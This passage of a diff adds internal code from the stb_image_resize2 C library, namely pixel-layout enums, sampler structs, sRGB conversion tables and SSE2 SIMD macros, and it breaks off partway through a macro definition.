+#define STBIR_DEFAULT_FILTER_UPSAMPLE    STBIR_FILTER_CATMULLROM
+#endif
+
+#ifndef STBIR_DEFAULT_FILTER_DOWNSAMPLE
+#define STBIR_DEFAULT_FILTER_DOWNSAMPLE  STBIR_FILTER_MITCHELL
+#endif
+
+
+#ifndef STBIR__HEADER_FILENAME
+#define STBIR__HEADER_FILENAME "stb_image_resize2.h"
+#endif
+
+// the internal pixel layout enums are in a different order, so we can easily do range comparisons of types
+//   the public pixel layout is ordered in a way that if you cast num_channels (1-4) to the enum, you get something sensible
+typedef enum
+{
+  STBIRI_1CHANNEL = 0,
+  STBIRI_2CHANNEL = 1,
+  STBIRI_RGB      = 2,
+  STBIRI_BGR      = 3,
+  STBIRI_4CHANNEL = 4,
+
+  STBIRI_RGBA = 5,
+  STBIRI_BGRA = 6,
+  STBIRI_ARGB = 7,
+  STBIRI_ABGR = 8,
+  STBIRI_RA   = 9,
+  STBIRI_AR   = 10,
+
+  STBIRI_RGBA_PM = 11,
+  STBIRI_BGRA_PM = 12,
+  STBIRI_ARGB_PM = 13,
+  STBIRI_ABGR_PM = 14,
+  STBIRI_RA_PM   = 15,
+  STBIRI_AR_PM   = 16,
+} stbir_internal_pixel_layout;
+
+// define the public pixel layouts to not compile inside the implementation (to avoid accidental use)
+#define STBIR_BGR bad_dont_use_in_implementation
+#define STBIR_1CHANNEL STBIR_BGR
+#define STBIR_2CHANNEL STBIR_BGR
+#define STBIR_RGB STBIR_BGR
+#define STBIR_RGBA STBIR_BGR
+#define STBIR_4CHANNEL STBIR_BGR
+#define STBIR_BGRA STBIR_BGR
+#define STBIR_ARGB STBIR_BGR
+#define STBIR_ABGR STBIR_BGR
+#define STBIR_RA STBIR_BGR
+#define STBIR_AR STBIR_BGR
+#define STBIR_RGBA_PM STBIR_BGR
+#define STBIR_BGRA_PM STBIR_BGR
+#define STBIR_ARGB_PM STBIR_BGR
+#define STBIR_ABGR_PM STBIR_BGR
+#define STBIR_RA_PM STBIR_BGR
+#define STBIR_AR_PM STBIR_BGR
+
+// must match stbir_datatype
+static unsigned char stbir__type_size[] = {
+  1,1,1,2,4,2 // STBIR_TYPE_UINT8,STBIR_TYPE_UINT8_SRGB,STBIR_TYPE_UINT8_SRGB_ALPHA,STBIR_TYPE_UINT16,STBIR_TYPE_FLOAT,STBIR_TYPE_HALF_FLOAT
+};
+
+// When gathering, the contributors are which source pixels contribute.
+// When scattering, the contributors are which destination pixels are contributed to.
+typedef struct
+{
+  int n0; // First contributing pixel
+  int n1; // Last contributing pixel
+} stbir__contributors;
+
+typedef struct
+{
+  int lowest;    // First sample index for whole filter
+  int highest;   // Last sample index for whole filter
+  int widest;    // widest single set of samples for an output
+} stbir__filter_extent_info;
+
+typedef struct
+{
+  int n0; // First pixel of decode buffer to write to
+  int n1; // Last pixel of decode that will be written to
+  int pixel_offset_for_input;  // Pixel offset into input_scanline
+} stbir__span;
+
+typedef struct stbir__scale_info
+{
+  int input_full_size;
+  int output_sub_size;
+  float scale;
+  float inv_scale;
+  float pixel_shift; // starting shift in output pixel space (in pixels)
+  int scale_is_rational;
+  stbir_uint32 scale_numerator, scale_denominator;
+} stbir__scale_info;
+
+typedef struct
+{
+  stbir__contributors * contributors;
+  float* coefficients;
+  stbir__contributors * gather_prescatter_contributors;
+  float * gather_prescatter_coefficients;
+  stbir__scale_info scale_info;
+  float support;
+  stbir_filter filter_enum;
+  stbir__kernel_callback * filter_kernel;
+  stbir__support_callback * filter_support;
+  stbir_edge edge;
+  int coefficient_width;
+  int filter_pixel_width;
+  int filter_pixel_margin;
+  int num_contributors;
+  int contributors_size;
+  int coefficients_size;
+  stbir__filter_extent_info extent_info;
+  int is_gather;  // 0 = scatter, 1 = gather with scale >= 1, 2 = gather with scale < 1
+  int gather_prescatter_num_contributors;
+  int gather_prescatter_coefficient_width;
+  int gather_prescatter_contributors_size;
+  int gather_prescatter_coefficients_size;
+} stbir__sampler;
+
+typedef struct
+{
+  stbir__contributors conservative;
+  int edge_sizes[2];    // this can be less than filter_pixel_margin, if the filter and scaling falls off
+  stbir__span spans[2]; // can be two spans, if doing input subrect with clamp mode WRAP
+} stbir__extents;
+
+typedef struct
+{
+#ifdef STBIR_PROFILE
+  union
+  {
+    struct { stbir_uint64 total, looping, vertical, horizontal, decode, encode, alpha, unalpha; } named;
+    stbir_uint64 array[8];
+  } profile;
+  stbir_uint64 * current_zone_excluded_ptr;
+#endif
+  float* decode_buffer;
+
+  int ring_buffer_first_scanline;
+  int ring_buffer_last_scanline;
+  int ring_buffer_begin_index;    // first_scanline is at this index in the ring buffer
+  int start_output_y, end_output_y;
+  int start_input_y, end_input_y;  // used in scatter only
+
+  #ifdef STBIR__SEPARATE_ALLOCATIONS
+    float** ring_buffers; // one pointer for each ring buffer
+  #else
+    float* ring_buffer;  // one big buffer that we index into
+  #endif
+
+  float* vertical_buffer;
+
+  char no_cache_straddle[64];
+} stbir__per_split_info;
+
+typedef float * stbir__decode_pixels_func( float * decode, int width_times_channels, void const * input );
+typedef void stbir__alpha_weight_func( float * decode_buffer, int width_times_channels );
+typedef void stbir__horizontal_gather_channels_func( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer,
+  stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width );
+typedef void stbir__alpha_unweight_func(float * encode_buffer, int width_times_channels );
+typedef void stbir__encode_pixels_func( void * output, int width_times_channels, float const * encode );
+
+struct stbir__info
+{
+#ifdef STBIR_PROFILE
+  union
+  {
+    struct { stbir_uint64 total, build, alloc, horizontal, vertical, cleanup, pivot; } named;
+    stbir_uint64 array[7];
+  } profile;
+  stbir_uint64 * current_zone_excluded_ptr;
+#endif
+  stbir__sampler horizontal;
+  stbir__sampler vertical;
+
+  void const * input_data;
+  void * output_data;
+
+  int input_stride_bytes;
+  int output_stride_bytes;
+  int ring_buffer_length_bytes;   // The length of an individual entry in the ring buffer. The total number of ring buffers is stbir__get_filter_pixel_width(filter)
+  int ring_buffer_num_entries;    // Total number of entries in the ring buffer.
+
+  stbir_datatype input_type;
+  stbir_datatype output_type;
+
+  stbir_input_callback * in_pixels_cb;
+  void * user_data;
+  stbir_output_callback * out_pixels_cb;
+
+  stbir__extents scanline_extents;
+
+  void * alloced_mem;
+  stbir__per_split_info * split_info;  // by default 1, but there will be N of these allocated based on the thread init you did
+
+  stbir__decode_pixels_func * decode_pixels;
+  stbir__alpha_weight_func * alpha_weight;
+  stbir__horizontal_gather_channels_func * horizontal_gather_channels;
+  stbir__alpha_unweight_func * alpha_unweight;
+  stbir__encode_pixels_func * encode_pixels;
+
+  int alloc_ring_buffer_num_entries;    // Number of entries in the ring buffer that will be allocated
+  int splits; // count of splits
+
+  stbir_internal_pixel_layout input_pixel_layout_internal;
+  stbir_internal_pixel_layout output_pixel_layout_internal;
+
+  int input_color_and_type;
+  int offset_x, offset_y; // offset within output_data
+  int vertical_first;
+  int channels;
+  int effective_channels; // same as channels, except on RGBA/ARGB (7), or XA/AX (3)
+  size_t alloced_total;
+};
+
+
+#define stbir__max_uint8_as_float             255.0f
+#define stbir__max_uint16_as_float            65535.0f
+#define stbir__max_uint8_as_float_inverted    3.9215689e-03f     // (1.0f/255.0f)
+#define stbir__max_uint16_as_float_inverted   1.5259022e-05f     // (1.0f/65535.0f)
+#define stbir__small_float ((float)1 / (1 << 20) / (1 << 20) / (1 << 20) / (1 << 20) / (1 << 20) / (1 << 20))
+
+// min/max friendly
+#define STBIR_CLAMP(x, xmin, xmax) for(;;) { \
+  if ( (x) < (xmin) ) (x) = (xmin);     \
+  if ( (x) > (xmax) ) (x) = (xmax);     \
+  break;                                \
+}
+
+static stbir__inline int stbir__min(int a, int b)
+{
+  return a < b ? a : b;
+}
+
+static stbir__inline int stbir__max(int a, int b)
+{
+  return a > b ? a : b;
+}
+
+static float stbir__srgb_uchar_to_linear_float[256] = {
+  0.000000f, 0.000304f, 0.000607f, 0.000911f, 0.001214f, 0.001518f, 0.001821f, 0.002125f, 0.002428f, 0.002732f, 0.003035f,
+  0.003347f, 0.003677f, 0.004025f, 0.004391f, 0.004777f, 0.005182f, 0.005605f, 0.006049f, 0.006512f, 0.006995f, 0.007499f,
+  0.008023f, 0.008568f, 0.009134f, 0.009721f, 0.010330f, 0.010960f, 0.011612f, 0.012286f, 0.012983f, 0.013702f, 0.014444f,
+  0.015209f, 0.015996f, 0.016807f, 0.017642f, 0.018500f, 0.019382f, 0.020289f, 0.021219f, 0.022174f, 0.023153f, 0.024158f,
+  0.025187f, 0.026241f, 0.027321f, 0.028426f, 0.029557f, 0.030713f, 0.031896f, 0.033105f, 0.034340f, 0.035601f, 0.036889f,
+  0.038204f, 0.039546f, 0.040915f, 0.042311f, 0.043735f, 0.045186f, 0.046665f, 0.048172f, 0.049707f, 0.051269f, 0.052861f,
+  0.054480f, 0.056128f, 0.057805f, 0.059511f, 0.061246f, 0.063010f, 0.064803f, 0.066626f, 0.068478f, 0.070360f, 0.072272f,
+  0.074214f, 0.076185f, 0.078187f, 0.080220f, 0.082283f, 0.084376f, 0.086500f, 0.088656f, 0.090842f, 0.093059f, 0.095307f,
+  0.097587f, 0.099899f, 0.102242f, 0.104616f, 0.107023f, 0.109462f, 0.111932f, 0.114435f, 0.116971f, 0.119538f, 0.122139f,
+  0.124772f, 0.127438f, 0.130136f, 0.132868f, 0.135633f, 0.138432f, 0.141263f, 0.144128f, 0.147027f, 0.149960f, 0.152926f,
+  0.155926f, 0.158961f, 0.162029f, 0.165132f, 0.168269f, 0.171441f, 0.174647f, 0.177888f, 0.181164f, 0.184475f, 0.187821f,
+  0.191202f, 0.194618f, 0.198069f, 0.201556f, 0.205079f, 0.208637f, 0.212231f, 0.215861f, 0.219526f, 0.223228f, 0.226966f,
+  0.230740f, 0.234551f, 0.238398f, 0.242281f, 0.246201f, 0.250158f, 0.254152f, 0.258183f, 0.262251f, 0.266356f, 0.270498f,
+  0.274677f, 0.278894f, 0.283149f, 0.287441f, 0.291771f, 0.296138f, 0.300544f, 0.304987f, 0.309469f, 0.313989f, 0.318547f,
+  0.323143f, 0.327778f, 0.332452f, 0.337164f, 0.341914f, 0.346704f, 0.351533f, 0.356400f, 0.361307f, 0.366253f, 0.371238f,
+  0.376262f, 0.381326f, 0.386430f, 0.391573f, 0.396755f, 0.401978f, 0.407240f, 0.412543f, 0.417885f, 0.423268f, 0.428691f,
+  0.434154f, 0.439657f, 0.445201f, 0.450786f, 0.456411f, 0.462077f, 0.467784f, 0.473532f, 0.479320f, 0.485150f, 0.491021f,
+  0.496933f, 0.502887f, 0.508881f, 0.514918f, 0.520996f, 0.527115f, 0.533276f, 0.539480f, 0.545725f, 0.552011f, 0.558340f,
+  0.564712f, 0.571125f, 0.577581f, 0.584078f, 0.590619f, 0.597202f, 0.603827f, 0.610496f, 0.617207f, 0.623960f, 0.630757f,
+  0.637597f, 0.644480f, 0.651406f, 0.658375f, 0.665387f, 0.672443f, 0.679543f, 0.686685f, 0.693872f, 0.701102f, 0.708376f,
+  0.715694f, 0.723055f, 0.730461f, 0.737911f, 0.745404f, 0.752942f, 0.760525f, 0.768151f, 0.775822f, 0.783538f, 0.791298f,
+  0.799103f, 0.806952f, 0.814847f, 0.822786f, 0.830770f, 0.838799f, 0.846873f, 0.854993f, 0.863157f, 0.871367f, 0.879622f,
+  0.887923f, 0.896269f, 0.904661f, 0.913099f, 0.921582f, 0.930111f, 0.938686f, 0.947307f, 0.955974f, 0.964686f, 0.973445f,
+  0.982251f, 0.991102f, 1.0f
+};
+
+typedef union
+{
+  unsigned int u;
+  float f;
+} stbir__FP32;
+
+// From https://gist.github.com/rygorous/2203834
+
+static const stbir_uint32 fp32_to_srgb8_tab4[104] = {
+  0x0073000d, 0x007a000d, 0x0080000d, 0x0087000d, 0x008d000d, 0x0094000d, 0x009a000d, 0x00a1000d,
+  0x00a7001a, 0x00b4001a, 0x00c1001a, 0x00ce001a, 0x00da001a, 0x00e7001a, 0x00f4001a, 0x0101001a,
+  0x010e0033, 0x01280033, 0x01410033, 0x015b0033, 0x01750033, 0x018f0033, 0x01a80033, 0x01c20033,
+  0x01dc0067, 0x020f0067, 0x02430067, 0x02760067, 0x02aa0067, 0x02dd0067, 0x03110067, 0x03440067,
+  0x037800ce, 0x03df00ce, 0x044600ce, 0x04ad00ce, 0x051400ce, 0x057b00c5, 0x05dd00bc, 0x063b00b5,
+  0x06970158, 0x07420142, 0x07e30130, 0x087b0120, 0x090b0112, 0x09940106, 0x0a1700fc, 0x0a9500f2,
+  0x0b0f01cb, 0x0bf401ae, 0x0ccb0195, 0x0d950180, 0x0e56016e, 0x0f0d015e, 0x0fbc0150, 0x10630143,
+  0x11070264, 0x1238023e, 0x1357021d, 0x14660201, 0x156601e9, 0x165a01d3, 0x174401c0, 0x182401af,
+  0x18fe0331, 0x1a9602fe, 0x1c1502d2, 0x1d7e02ad, 0x1ed4028d, 0x201a0270, 0x21520256, 0x227d0240,
+  0x239f0443, 0x25c003fe, 0x27bf03c4, 0x29a10392, 0x2b6a0367, 0x2d1d0341, 0x2ebe031f, 0x304d0300,
+  0x31d105b0, 0x34a80555, 0x37520507, 0x39d504c5, 0x3c37048b, 0x3e7c0458, 0x40a8042a, 0x42bd0401,
+  0x44c20798, 0x488e071e, 0x4c1c06b6, 0x4f76065d, 0x52a50610, 0x55ac05cc, 0x5892058f, 0x5b590559,
+  0x5e0c0a23, 0x631c0980, 0x67db08f6, 0x6c55087f, 0x70940818, 0x74a007bd, 0x787d076c, 0x7c330723,
+};
+
+static stbir__inline stbir_uint8 stbir__linear_to_srgb_uchar(float in)
+{
+  static const stbir__FP32 almostone = { 0x3f7fffff }; // 1-eps
+  static const stbir__FP32 minval = { (127-13) << 23 };
+  stbir_uint32 tab,bias,scale,t;
+  stbir__FP32 f;
+
+  // Clamp to [2^(-13), 1-eps]; these two values map to 0 and 1, respectively.
+  // The tests are carefully written so that NaNs map to 0, same as in the reference
+  // implementation.
+  if (!(in > minval.f)) // written this way to catch NaNs
+      return 0;
+  if (in > almostone.f)
+      return 255;
+
+  // Do the table lookup and unpack bias, scale
+  f.f = in;
+  tab = fp32_to_srgb8_tab4[(f.u - minval.u) >> 20];
+  bias = (tab >> 16) << 9;
+  scale = tab & 0xffff;
+
+  // Grab next-highest mantissa bits and perform linear interpolation
+  t = (f.u >> 12) & 0xff;
+  return (unsigned char) ((bias + scale*t) >> 16);
+}
+
+#ifndef STBIR_FORCE_GATHER_FILTER_SCANLINES_AMOUNT
+#define STBIR_FORCE_GATHER_FILTER_SCANLINES_AMOUNT 32 // when downsampling and <= 32 scanlines of buffering, use gather. gather used down to 1/8th scaling for 25% win.
+#endif
+
+#ifndef STBIR_FORCE_MINIMUM_SCANLINES_FOR_SPLITS
+#define STBIR_FORCE_MINIMUM_SCANLINES_FOR_SPLITS 4 // when threading, what is the minimum number of scanlines for a split?
+#endif
+
+#define STBIR_INPUT_CALLBACK_PADDING 3
+
+#ifdef _M_IX86_FP
+#if ( _M_IX86_FP >= 1 )
+#ifndef STBIR_SSE
+#define STBIR_SSE
+#endif
+#endif
+#endif
+
+#ifdef __TINYC__
+  // tiny c has no intrinsics yet - this can become a version check if they add them
+  #define STBIR_NO_SIMD
+#endif
+
+#if defined(_x86_64) || defined( __x86_64__ ) || defined( _M_X64 ) || defined(__x86_64) || defined(_M_AMD64) || defined(__SSE2__) || defined(STBIR_SSE) || defined(STBIR_SSE2)
+  #ifndef STBIR_SSE2
+    #define STBIR_SSE2
+  #endif
+  #if defined(__AVX__) || defined(STBIR_AVX2)
+    #ifndef STBIR_AVX
+      #ifndef STBIR_NO_AVX
+        #define STBIR_AVX
+      #endif
+    #endif
+  #endif
+  #if defined(__AVX2__) || defined(STBIR_AVX2)
+    #ifndef STBIR_NO_AVX2
+      #ifndef STBIR_AVX2
+        #define STBIR_AVX2
+      #endif
+      #if defined( _MSC_VER ) && !defined(__clang__)
+        #ifndef STBIR_FP16C  // FP16C instructions are on all AVX2 cpus, so we can autoselect it here on microsoft - clang needs -m16c
+          #define STBIR_FP16C
+        #endif
+      #endif
+    #endif
+  #endif
+  #ifdef __F16C__
+    #ifndef STBIR_FP16C  // turn on FP16C instructions if the define is set (for clang and gcc)
+      #define STBIR_FP16C
+    #endif
+  #endif
+#endif
+
+#if defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ ) || ((__ARM_NEON_FP & 4) != 0) || defined(__ARM_NEON__)
+#ifndef STBIR_NEON
+#define STBIR_NEON
+#endif
+#endif
+
+#if defined(_M_ARM) || defined(__arm__)
+#ifdef STBIR_USE_FMA
+#undef STBIR_USE_FMA // no FMA for 32-bit arm on MSVC
+#endif
+#endif
+
+#if defined(__wasm__) && defined(__wasm_simd128__)
+#ifndef STBIR_WASM
+#define STBIR_WASM
+#endif
+#endif
+
+// restrict pointers for the output pointers, other loop and unroll control
+#if defined( _MSC_VER ) && !defined(__clang__)
+  #define STBIR_STREAMOUT_PTR( star ) star __restrict
+  #define STBIR_NO_UNROLL( ptr ) __assume(ptr) // this oddly keeps msvc from unrolling a loop
+  #if _MSC_VER >= 1900
+    #define STBIR_NO_UNROLL_LOOP_START __pragma(loop( no_vector )) 
+  #else
+    #define STBIR_NO_UNROLL_LOOP_START 
+  #endif
+#elif defined( __clang__ )
+  #define STBIR_STREAMOUT_PTR( star ) star __restrict__
+  #define STBIR_NO_UNROLL( ptr ) __asm__ (""::"r"(ptr)) 
+  #if ( __clang_major__ >= 4 ) || ( ( __clang_major__ >= 3 ) && ( __clang_minor__ >= 5 ) )
+    #define STBIR_NO_UNROLL_LOOP_START _Pragma("clang loop unroll(disable)") _Pragma("clang loop vectorize(disable)")
+  #else
+    #define STBIR_NO_UNROLL_LOOP_START
+  #endif 
+#elif defined( __GNUC__ )
+  #define STBIR_STREAMOUT_PTR( star ) star __restrict__
+  #define STBIR_NO_UNROLL( ptr ) __asm__ (""::"r"(ptr))
+  #if __GNUC__ >= 14
+    #define STBIR_NO_UNROLL_LOOP_START _Pragma("GCC unroll 0") _Pragma("GCC novector")
+  #else
+    #define STBIR_NO_UNROLL_LOOP_START
+  #endif
+  #define STBIR_NO_UNROLL_LOOP_START_INF_FOR
+#else
+  #define STBIR_STREAMOUT_PTR( star ) star
+  #define STBIR_NO_UNROLL( ptr )
+  #define STBIR_NO_UNROLL_LOOP_START
+#endif
+
+#ifndef STBIR_NO_UNROLL_LOOP_START_INF_FOR
+#define STBIR_NO_UNROLL_LOOP_START_INF_FOR STBIR_NO_UNROLL_LOOP_START
+#endif
+
+#ifdef STBIR_NO_SIMD // force simd off for whatever reason
+
+// force simd off overrides everything else, so clear it all
+
+#ifdef STBIR_SSE2
+#undef STBIR_SSE2
+#endif
+
+#ifdef STBIR_AVX
+#undef STBIR_AVX
+#endif
+
+#ifdef STBIR_NEON
+#undef STBIR_NEON
+#endif
+
+#ifdef STBIR_AVX2
+#undef STBIR_AVX2
+#endif
+
+#ifdef STBIR_FP16C
+#undef STBIR_FP16C
+#endif
+
+#ifdef STBIR_WASM
+#undef STBIR_WASM
+#endif
+
+#ifdef STBIR_SIMD
+#undef STBIR_SIMD
+#endif
+
+#else // STBIR_SIMD
+
+#ifdef STBIR_SSE2
+  #include <emmintrin.h>
+
+  #define stbir__simdf __m128
+  #define stbir__simdi __m128i
+
+  #define stbir_simdi_castf( reg ) _mm_castps_si128(reg)
+  #define stbir_simdf_casti( reg ) _mm_castsi128_ps(reg)
+
+  #define stbir__simdf_load( reg, ptr ) (reg) = _mm_loadu_ps( (float const*)(ptr) )
+  #define stbir__simdi_load( reg, ptr ) (reg) = _mm_loadu_si128 ( (stbir__simdi const*)(ptr) )
+  #define stbir__simdf_load1( out, ptr ) (out) = _mm_load_ss( (float const*)(ptr) )  // top values can be random (not denormal or nan for perf)
+  #define stbir__simdi_load1( out, ptr ) (out) = _mm_castps_si128( _mm_load_ss( (float const*)(ptr) ))
+  #define stbir__simdf_load1z( out, ptr ) (out) = _mm_load_ss( (float const*)(ptr) )  // top values must be zero
+  #define stbir__simdf_frep4( fvar ) _mm_set_ps1( fvar )
+  #define stbir__simdf_load1frep4( out, fvar ) (out) = _mm_set_ps1( fvar )
+  #define stbir__simdf_load2( out, ptr ) (out) = _mm_castsi128_ps( _mm_loadl_epi64( (__m128i*)(ptr)) ) // top values can be random (not denormal or nan for perf)
+  #define stbir__simdf_load2z( out, ptr ) (out) = _mm_castsi128_ps( _mm_loadl_epi64( (__m128i*)(ptr)) ) // top values must be zero
+  #define stbir__simdf_load2hmerge( out, reg, ptr ) (out) = _mm_castpd_ps(_mm_loadh_pd( _mm_castps_pd(reg), (double*)(ptr) ))
+
+  #define stbir__simdf_zeroP() _mm_setzero_ps()
+  #define stbir__simdf_zero( reg ) (reg) = _mm_setzero_ps()
+
+  #define stbir__simdf_store( ptr, reg )  _mm_storeu_ps( (float*)(ptr), reg )
+  #define stbir__simdf_store1( ptr, reg ) _mm_store_ss( (float*)(ptr), reg )
+  #define stbir__simdf_store2( ptr, reg ) _mm_storel_epi64( (__m128i*)(ptr), _mm_castps_si128(reg) )
+  #define stbir__simdf_store2h( ptr, reg ) _mm_storeh_pd( (double*)(ptr), _mm_castps_pd(reg) )
+
+  #define stbir__simdi_store( ptr, reg )  _mm_storeu_si128( (__m128i*)(ptr), reg )
+  #define stbir__simdi_store1( ptr, reg ) _mm_store_ss( (float*)(ptr), _mm_castsi128_ps(reg) )
+  #define stbir__simdi_store2( ptr, reg ) _mm_storel_epi64( (__m128i*)(ptr), (reg) )
+
+  #define stbir__prefetch( ptr ) _mm_prefetch((char*)(ptr), _MM_HINT_T0 )
+
+  #define stbir__simdi_expand_u8_to_u32(out0,out1,out2,out3,ireg) \
+  { \
+    stbir__simdi zero = _mm_setzero_si128(); \
+    out2 = _mm_unpacklo_epi8( ireg, zero ); \
+    out3 = _mm_unpackhi_epi8( ireg, zero ); \
+    out0 = _mm_unpacklo_epi16( out2, zero ); \
+    out1 = _mm_unpackhi_epi16( out2, zero ); \
+    out2 = _mm_unpacklo_epi16( out3, zero ); \
+    out3 = _mm_unpackhi_epi16( out3, zero ); \
+  }
+
+#define stbir__simdi_expand_u8_to_1u32(out,ireg) \
+  { \
+    stbir__simdi zero = _mm_setzero_si128(); \
+    out = _mm_unpacklo_epi8( ireg, zero ); \
+    out = _mm_unpacklo_epi16( out, zero ); \
+  }
+
+  #define stbir__simdi_expand_u16_to_u32(out0,out1,ireg) \
+  { \
+    stbir__simdi zero = _mm_setzero_si128(); \
+    out0 = _mm_unpacklo_epi16( ireg, zero ); \
+    out1 = _mm_unpackhi_epi16( ireg, zero ); \
+  }
+
+  #define stbir__simdf_convert_float_to_i32( i, f ) (i) = _mm_cvttps_epi32(f)
+  #define stbir__simdf_convert_float_to_int( f ) _mm_cvtt_ss2si(f)
+  #define stbir__simdf_convert_float_to_uint8( f ) ((unsigned char)_mm_cvtsi128_si32(_mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(f,STBIR__CONSTF(STBIR_max_uint8_as_float)),_mm_setzero_ps()))))
+  #define stbir__simdf_convert_float_to_short( f ) ((unsigned short)_mm_cvtsi128_si32(_mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(f,STBIR__CONSTF(STBIR_max_uint16_as_float)),_mm_setzero_ps()))))
+
+  #define stbir__simdi_to_int( i ) _mm_cvtsi128_si32(i)
+  #define stbir__simdi_convert_i32_to_float(out, ireg) (out) = _mm_cvtepi32_ps( ireg )
+  #define stbir__simdf_add( out, reg0, reg1 ) (out) = _mm_add_ps( reg0, reg1 )
+  #define stbir__simdf_mult( out, reg0, reg1 ) (out) = _mm_mul_ps( reg0, reg1 )
+  #define stbir__simdf_mult_mem( out, reg, ptr ) (out) = _mm_mul_ps( reg, _mm_loadu_ps( (float const*)(ptr) ) )
+  #define stbir__simdf_mult1_mem( out, reg, ptr ) (out) = _mm_mul_ss( reg, _mm_load_ss( (float const*)(ptr) ) )
+  #define stbir__simdf_add_mem( out, reg, ptr ) (out) = _mm_add_ps( reg, _mm_loadu_ps( (float const*)(ptr) ) )
+  #define stbir__simdf_add1_mem( out, reg, ptr ) (out) = _mm_add_ss( reg, _mm_load_ss( (float const*)(ptr) ) )
+
+  #ifdef STBIR_USE_FMA           // not on by default to maintain bit identical simd to non-simd
+  #include <immintrin.h>
+  #define stbir__simdf_madd( out, add, mul1, mul2 ) (out) = _mm_fmadd_ps( mul1, mul2, add )
+  #define stbir__simdf_madd1( out, add, mul1, mul2 ) (out) = _mm_fmadd_ss( mul1, mul2, add )
+  #define stbir__simdf_madd_mem( out, add, mul, ptr ) (out) = _mm_fmadd_ps( mul, _mm_loadu_ps( (float const*)(ptr) ), add )
+  #define stbir__simdf_madd1_mem( out, add, mul, ptr ) (out) = _mm_fmadd_ss( mul, _mm_load_ss( (float const*)(ptr) ), add )
+  #else
+  #define stbir__simdf_madd( out, add, mul1, mul2 ) (out) = _mm_add_ps( add, _mm_mul_ps( mul1, mul2 ) )
+  #define stbir__simdf_madd1( out, add, mul1, mul2 ) (out) = _mm_add_ss( add, _mm_mul_ss( mul1, mul2 ) )
+  #define stbir__simdf_madd_mem( out, add, mul, ptr ) (out) = _mm_add_ps( add, _mm_mul_ps( mul, _mm_loadu_ps( (float const*)(ptr) ) ) )
+  #define stbir__simdf_madd1_mem( out, add, mul, ptr ) (out) = _mm_add_ss( add, _mm_mul_ss( mul, _mm_load_ss( (float const*)(ptr) ) ) )
+  #endif
+
+  #define stbir__simdf_add1( out, reg0, reg1 ) (out) = _mm_add_ss( reg0, reg1 )
+  #define stbir__simdf_mult1( out, reg0, reg1 ) (out) = _mm_mul_ss( reg0, reg1 )
+
+  #define stbir__simdf_and( out, reg0, reg1 ) (out) = _mm_and_ps( reg0, reg1 )
+  #define stbir__simdf_or( out, reg0, reg1 ) (out) = _mm_or_ps( reg0, reg1 )
+
+  #define stbir__simdf_min( out, reg0, reg1 ) (out) = _mm_min_ps( reg0, reg1 )
+  #define stbir__simdf_max( out, reg0, reg1 ) (out) = _mm_max_ps( reg0, reg1 )
+  #define stbir__simdf_min1( out, reg0, reg1 ) (out) = _mm_min_ss( reg0, reg1 )
+  #define stbir__simdf_max1( out, reg0, reg1 ) (out) = _mm_max_ss( reg0, reg1 )
+
+  #define stbir__simdf_0123ABCDto3ABx( out, reg0, reg1 ) (out)=_mm_castsi128_ps( _mm_shuffle_epi32( _mm_castps_si128( _mm_shuffle_ps( reg1,reg0, (0<<0) + (1<<2) + (2<<4) + (3<<6) )), (3<<0) + (0<<2) + (1<<4) + (2<<6) ) )
+  #define stbir__simdf_0123ABCDto23Ax( out, reg0, reg1 ) (out)=_mm_castsi128_ps( _mm_shuffle_epi32( _mm_castps_si128( _mm_shuffle_ps( reg1,reg0, (0<<0) + (1<<2) + (2<<4) + (3<<6) )), (2<<0) + (3<<2) + (0<<4) + (1<<6) ) )
+
+  static const stbir__simdf STBIR_zeroones = { 0.0f,1.0f,0.0f,1.0f };
+  static const stbir__simdf STBIR_onezeros = { 1.0f,0.0f,1.0f,0.0f };
+  #define stbir__simdf_aaa1( out, alp, ones ) (out)=_mm_castsi128_ps( _mm_shuffle_epi32( _mm_castps_si128( _mm_movehl_ps( ones, alp ) ), (1<<0) + (1<<2) + (1<<4) + (2<<6) ) )
+  #define stbir__simdf_1aaa( out, alp, ones ) (out)=_mm_castsi128_ps( _mm_shuffle_epi32( _mm_castps_si128( _mm_movelh_ps( ones, alp ) ), (0<<0) + (2<<2) + (2<<4) + (2<<6) ) )
+  #define stbir__simdf_a1a1( out, alp, ones) (out) = _mm_or_ps( _mm_castsi128_ps( _mm_srli_epi64( _mm_castps_si128(alp), 32 ) ), STBIR_zeroones )
+  #define stbir__simdf_1a1a( out, alp, ones) (out) = _mm_or_ps( _mm_castsi128_ps( _mm_slli_epi64( _mm_castps_si128(alp), 32 ) ), STBIR_onezeros )
+
+  #define stbir__simdf_swiz( reg, one, two, three, four ) _mm_castsi128_ps( _mm_shuffle_epi32( _mm_castps_si128( reg ), (one<<0) + (two<<2) + (three<<4) + (four<<6) ) )
+
+  #define stbir__simdi_and( out, reg0, reg1 ) (out) = _mm_and_si128( reg0, reg1 )
+  #define stbir__simdi_or( out, reg0, reg1 ) (out) = _mm_or_si128( reg0, reg1 )
+  #define stbir__simdi_16madd( out, reg0, reg1 ) (out) = _mm_madd_epi16( reg0, reg1 )
+
+  #define stbir__simdf_pack_to_8bytes(out,aa,bb) \
+  { \
+    stbir__simdf af,bf; \
+    stbir__simdi a,b; \
+    af = _mm_min_ps( aa, STBIR_max_uint8_as_float ); \
+    bf = _mm_min_ps( bb, STBIR_max_uint8_as_float ); \
+    af = _mm_max_ps( af, _mm_setzero_ps() ); \
+    bf = _mm_max_ps( bf, _mm_setzero_ps() ); \
+    a = _mm_cvttps_epi32( af ); \
+    b = _mm_cvttps_epi32( bf ); \
+    a = _mm_packs_epi32( a, b ); \
+    out = _mm_packus_epi16( a, a ); \
+  }
+
+  #define stbir__simdf_load4_transposed( o0, o1, o2, o3, ptr ) \
+      stbir__simdf_load( o0, (ptr) );    \
+      stbir__simdf_load( o1, (ptr)+4 );  \
+      stbir__simdf_load( o2, (ptr)+8 );  \
+      stbir__simdf_load( o3, (ptr)+12 ); \
+      {                                  \
+        __m128 tmp0, tmp1, tmp2, tmp3;   \
+        tmp0 = _mm_unpacklo_ps(o0, o1);  \
+        tmp2 = _mm_unpacklo_ps(o2, o3);  \
+        tmp1 = _mm_unpackhi_ps(o0, o1);  \
+        tmp3 = _mm_unpackhi_ps(o2, o3);  \
+        o0 = _mm_movelh_ps(tmp0, tmp2);  \
+        o1 = _mm_movehl_ps(tmp2, tmp0);  \
